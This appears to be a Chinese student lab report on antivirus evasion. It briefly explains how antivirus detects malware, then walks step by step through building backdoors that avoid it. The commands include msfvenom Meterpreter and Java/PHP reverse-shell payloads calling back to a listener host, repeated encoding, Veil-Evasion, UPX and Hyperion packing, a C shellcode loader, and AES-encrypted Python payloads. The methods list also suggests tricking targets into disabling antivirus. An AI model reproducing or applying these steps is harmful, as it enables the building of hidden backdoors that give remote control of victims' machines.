一、基础问题回答
1.1 杀软是如何检测出恶意代码的?
基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
1.2 免杀是做什么?
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,悄悄的干活(不悄悄的别人也不让我们进行攻击和窥探)。
1.3 免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 修改内存特征码
- 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
- 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
1.4 开启杀软能绝对防止电脑中恶意代码吗?
说绝对是有些过了,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!
二、实验环境
免杀测试平台:https://www.virustotal.com/
三、实践内容
1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
①检测实验2中生成的后门程序
②编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.123.110 LPORT=1209 -f exe > shell.exe
③编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.123.110 LPORT=1209 -f exe > shell10.exe
2、生成jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.123.110 LPORT=1209 -f jar > shell.jar
生成压缩包文件后检测率明显降低了,且有一些杀软都无法检测。
3、生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.123.110 LPORT=1209 x> shell.php
4、veil,加壳工具
①veil下载
sudo apt-get install veil-evasion
下载成功后
cd /usr/share/veil/config
vim setup.sh
将260行的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后
veil
等待安装
②使用
veil
use evasion 或者 use 1
use c/meterpreter/rev_tcp.py
set LHOST 192.168.123.110
set LPORT 1209
generate
③加壳
upx shell10.exe -o shell10_upx.exe
5、使用C + shellcode编程
①生成c文件,得到机器码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.110 LPORT=1209 -f c
②补充代码shell_c.c(注意缩进,vim里调整更方便)
int main()
{
int (*func)() = (int(*)())buf;
func();
}
③跨平台交叉编译
i686-w64-mingw32-g++ shell_c.c -o shell_c.exe
6、通过组合应用各种技术实现恶意代码免杀
Ⅰ c+shellcode+Hyperion
①下载Hyperion2.2
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
unzip Hyperion-2.2.zip
②修改makefile,make
vim Makefile
编译方法改成交叉编译i686-w64-mingw32-gcc
make
③加壳
wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe
Ⅱ python+aes_encrypt
①打开veil,选择Evasion
veil
use 1
list##寻找palyload
②使用aes_encrypt_py生成后门
use python/shellcode_inject/aes_encrypt.py
generate
选择2
这里的原理便是使用了数据加密的方式进行多次编译后门软件。